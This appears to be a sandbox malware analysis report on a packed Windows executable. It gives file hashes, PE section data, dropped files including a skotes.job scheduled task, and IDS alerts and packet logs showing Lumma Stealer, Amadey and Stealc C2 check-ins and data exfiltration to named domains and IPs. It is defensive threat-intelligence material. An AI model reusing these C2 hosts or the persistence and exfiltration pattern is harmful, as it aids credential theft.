File Type:	SQLite 3.x database, user version 131075, last written using SQLite version 3042000, page size 512, file counter 6, database pages 8, cookie 0x4, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	2.0836444556178684
Encrypted:	false
SSDEEP:	24:JBwdh/cEUcR9PzNFPFHx/GJRBdkOrDcRB1trwDeAq2gRMyxr3:jnEUo9LXtR+JdkOnohYsl
MD5:	8B40B1534FF0F4B533AF767EB5639A05
SHA1:	63EDB539EA39AD09D701A36B535C4C087AE08CC9
SHA-256:	AF275A19A5C2C682139266065D90C237282274D11C5619A121B7BDBDB252861B
SHA-512:	54AF707698CED33C206B1B193DA414D630901762E88E37E99885A50D4D5F8DDC28367C9B401DFE251CF0552B4FA446EE28F78A97C9096AFB0F2898BFBB673B53
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\AppData\Local\Temp\OQ8LP4972W0L2P9TRRG7I8.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4733447330558542
Encrypted:	false
SSDEEP:	6:nVtqMDZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0leut0:VEQlvJQ1CGAFMkXd8kX+Veut0
MD5:	6D2AC4BD4D4CCB334BE3FD7531A5D888
SHA1:	472AC77094D8CC2EA7DBAD73EE2CA2346A658475
SHA-256:	506E8D702412647974153B37093CEE84ABDD479E6DA8B85CE10DA3BCB5D07B22
SHA-512:	4EBB40E2648619D20E28138B42450C1DD9EF4B822D1C2080F987DB117F081CC31D8F9423C8D1169B07D62341B6E7898D0547221B9F55B3CAC252B36804922E2D
Malicious:	false
Preview:	.......[.>B....S..DF.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0...................@3P.........................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.517777460986911
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'014'144 bytes
MD5:	ba4acd66f5a624204d7e4935bcc7607b
SHA1:	8e7459499a6c10a45ba0f3f1b1dbaf60d8e81b78
SHA256:	33a4f30902e46a8118225a95b4498a0b693c88e5bee6192d4a3129f5d59e9382
SHA512:	c454c42099ae659b197754222dcec5129489770dcd466f063bebd4fa316a488f827a9e06af353edc43ababe1b15a529c865518a051348c8100db301965eb20f0
SSDEEP:	49152:cMhHKZENQ0Bh40PgLDmlEUofRp6g+AlqLAuYRQKP:TVKZENQ0/4OgLNpyMqEuYRQK
TLSH:	6BD55991B60A72CFE48E53B98427CD52ADAD47B8472049C3AC2C75BD7E63CD125B7C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@..........................@1.....\|.....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x711000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F15387F334Ah
paddusb mm5, qword ptr [00000000h]
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [ecx+0Bh], bl
retf
xor al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [0400000Ah], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x59000	0x340	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	9e3226368a3ccdf742da5cfafbb99f7d	False	0.9980713655956113	data	7.974942368465951	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x340	0x400	914cd139a383496d0085d499d138ef92	False	0.390625	data	4.997389973748798	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xoqsqsvt	0x5b000	0x2b5000	0x2b4400	9a3140f260892c8ce11c35d4a9aff791	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
yvvklzuq	0x310000	0x1000	0x400	6a4cd2104b4b36e03cd89f8833cee411	False	0.8310546875	data	6.355637901656537	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x311000	0x3000	0x2200	f59413ce824f175dbd5f11944d68dcdb	False	0.06744025735294118	DOS executable (COM)	0.826709784732669	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x59058	0x2e6	XML 1.0 document, ASCII text, with CRLF line terminators			0.45417789757412397

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T04:34:15.254200+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	59001	1.1.1.1	53	UDP
2024-10-30T04:34:15.269869+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	57133	1.1.1.1	53	UDP
2024-10-30T04:34:15.280297+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	63054	1.1.1.1	53	UDP
2024-10-30T04:34:15.290869+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	57557	1.1.1.1	53	UDP
2024-10-30T04:34:15.302111+0100	2057123	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacedmny .store)	1	192.168.2.7	65130	1.1.1.1	53	UDP
2024-10-30T04:34:15.966316+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49703	188.114.97.3	443	TCP
2024-10-30T04:34:16.981065+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49703	188.114.97.3	443	TCP
2024-10-30T04:34:16.981065+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49703	188.114.97.3	443	TCP
2024-10-30T04:34:17.654230+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49709	188.114.97.3	443	TCP
2024-10-30T04:34:18.168396+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49709	188.114.97.3	443	TCP
2024-10-30T04:34:18.168396+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49709	188.114.97.3	443	TCP
2024-10-30T04:34:19.032998+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49718	188.114.97.3	443	TCP
2024-10-30T04:34:21.085029+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49731	188.114.97.3	443	TCP
2024-10-30T04:34:21.857843+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49731	188.114.97.3	443	TCP
2024-10-30T04:34:22.748668+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49742	188.114.97.3	443	TCP
2024-10-30T04:34:24.507195+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49753	188.114.97.3	443	TCP
2024-10-30T04:34:26.137354+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49761	188.114.97.3	443	TCP
2024-10-30T04:34:28.507302+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49775	188.114.97.3	443	TCP
2024-10-30T04:34:28.975549+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49775	188.114.97.3	443	TCP
2024-10-30T04:34:29.893106+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49781	185.215.113.16	80	TCP
2024-10-30T04:35:17.192389+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.7	49981	185.215.113.43	80	TCP
2024-10-30T04:35:20.759073+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49983	185.215.113.16	80	TCP
2024-10-30T04:35:28.934315+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	62650	1.1.1.1	53	UDP
2024-10-30T04:35:28.951069+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	58497	1.1.1.1	53	UDP
2024-10-30T04:35:28.963849+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	64989	1.1.1.1	53	UDP
2024-10-30T04:35:28.978734+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	64049	1.1.1.1	53	UDP
2024-10-30T04:35:29.516836+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.7	49982	TCP
2024-10-30T04:35:29.614544+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49984	188.114.97.3	443	TCP
2024-10-30T04:35:30.487614+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49985	185.215.113.43	80	TCP
2024-10-30T04:35:30.588529+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49984	188.114.97.3	443	TCP
2024-10-30T04:35:30.588529+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49984	188.114.97.3	443	TCP
2024-10-30T04:35:31.414668+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49987	188.114.97.3	443	TCP
2024-10-30T04:35:31.434419+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49986	185.215.113.16	80	TCP
2024-10-30T04:35:31.887296+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	49987	188.114.97.3	443	TCP
2024-10-30T04:35:31.887296+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49987	188.114.97.3	443	TCP
2024-10-30T04:35:32.842035+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49988	188.114.97.3	443	TCP
2024-10-30T04:35:34.638543+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49989	188.114.97.3	443	TCP
2024-10-30T04:35:36.103573+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49990	188.114.97.3	443	TCP
2024-10-30T04:35:39.010575+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49991	188.114.97.3	443	TCP
2024-10-30T04:35:40.187165+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49992	185.215.113.43	80	TCP
2024-10-30T04:35:40.797689+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49993	185.215.113.206	80	TCP
2024-10-30T04:35:41.270041+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49994	185.215.113.16	80	TCP
2024-10-30T04:35:41.787868+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49995	188.114.97.3	443	TCP
2024-10-30T04:35:41.793065+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.7	49995	188.114.97.3	443	TCP
2024-10-30T04:35:44.556382+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	58194	1.1.1.1	53	UDP
2024-10-30T04:35:44.641866+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	59192	1.1.1.1	53	UDP
2024-10-30T04:35:44.663195+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	63562	1.1.1.1	53	UDP
2024-10-30T04:35:44.675719+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	54720	1.1.1.1	53	UDP
2024-10-30T04:35:44.926734+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49996	188.114.97.3	443	TCP
2024-10-30T04:35:45.326829+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	49997	188.114.97.3	443	TCP
2024-10-30T04:35:45.626748+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	49998	185.215.113.43	80	TCP
2024-10-30T04:35:45.859427+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.7	49997	188.114.97.3	443	TCP
2024-10-30T04:35:45.859427+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	49997	188.114.97.3	443	TCP
2024-10-30T04:35:46.569894+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.7	49999	185.215.113.16	80	TCP
2024-10-30T04:35:46.569894+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	49999	185.215.113.16	80	TCP
2024-10-30T04:35:47.352507+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50000	188.114.97.3	443	TCP
2024-10-30T04:35:47.695782+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.7	50000	188.114.97.3	443	TCP
2024-10-30T04:35:47.695782+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50000	188.114.97.3	443	TCP
2024-10-30T04:35:49.122646+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50004	188.114.97.3	443	TCP
2024-10-30T04:35:49.670406+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50001	185.215.113.206	80	TCP
2024-10-30T04:35:51.178086+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.7	50007	185.215.113.43	80	TCP
2024-10-30T04:35:52.424167+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50008	188.114.97.3	443	TCP
2024-10-30T04:35:55.387893+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50014	188.114.97.3	443	TCP
2024-10-30T04:35:57.356539+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50023	185.215.113.206	80	TCP
2024-10-30T04:35:57.785137+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50024	188.114.97.3	443	TCP
2024-10-30T04:36:00.192632+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50032	188.114.97.3	443	TCP
2024-10-30T04:36:00.800231+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.7	50032	188.114.97.3	443	TCP
2024-10-30T04:36:01.905905+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50034	188.114.97.3	443	TCP
2024-10-30T04:36:02.400275+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.7	50034	188.114.97.3	443	TCP
2024-10-30T04:36:03.328807+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.7	50035	185.215.113.16	80	TCP
2024-10-30T04:36:09.290123+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	50038	185.215.113.206	80	TCP
2024-10-30T04:36:18.711579+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.7	57345	1.1.1.1	53	UDP
2024-10-30T04:36:18.757542+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.7	63134	1.1.1.1	53	UDP
2024-10-30T04:36:18.772105+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.7	61518	1.1.1.1	53	UDP
2024-10-30T04:36:18.789293+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.7	55101	1.1.1.1	53	UDP
2024-10-30T04:36:19.422149+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.7	50043	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 04:34:15.327040911 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:15.327054977 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:15.327122927 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:15.332525015 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:15.332540035 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:15.966169119 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:15.966315985 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:15.992748022 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:15.992769957 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:15.993262053 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:16.042002916 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:16.536576986 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:16.536612034 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:16.536767960 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:16.981153965 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:16.981462955 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:16.981539965 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:16.982897043 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:16.982923031 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:16.982939959 CET	49703	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:16.982945919 CET	443	49703	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:17.033982992 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:17.034033060 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:17.034107924 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:17.034406900 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:17.034425020 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:17.654067039 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:17.654230118 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:17.655426025 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:17.655443907 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:17.655759096 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:17.657136917 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:17.657165051 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:17.657222033 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.168401957 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.168467045 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.168490887 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.168514967 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.168546915 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.168546915 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.168575048 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.168587923 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.168617964 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.168617964 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.168631077 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.168682098 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.169116974 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.213835955 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.213861942 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.260714054 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.284941912 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.285058975 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.285093069 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.285096884 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.285114050 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.285154104 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.285160065 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.285211086 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.285281897 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.285459995 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.285468102 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.285491943 CET	49709	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.285495996 CET	443	49709	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.395045042 CET	49718	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.395056009 CET	443	49718	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:18.395107985 CET	49718	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.395539045 CET	49718	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:18.395549059 CET	443	49718	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:19.032892942 CET	443	49718	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:19.032998085 CET	49718	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:19.048178911 CET	49718	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:19.048212051 CET	443	49718	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:19.048537970 CET	443	49718	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:19.072700977 CET	49718	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:19.072770119 CET	49718	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:34:19.072818041 CET	443	49718	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:20.308491945 CET	443	49718	188.114.97.3	192.168.2.7
Oct 30, 2024 04:34:20.308609009 CET	443	49718	188.114.97.3	192.168.2.7
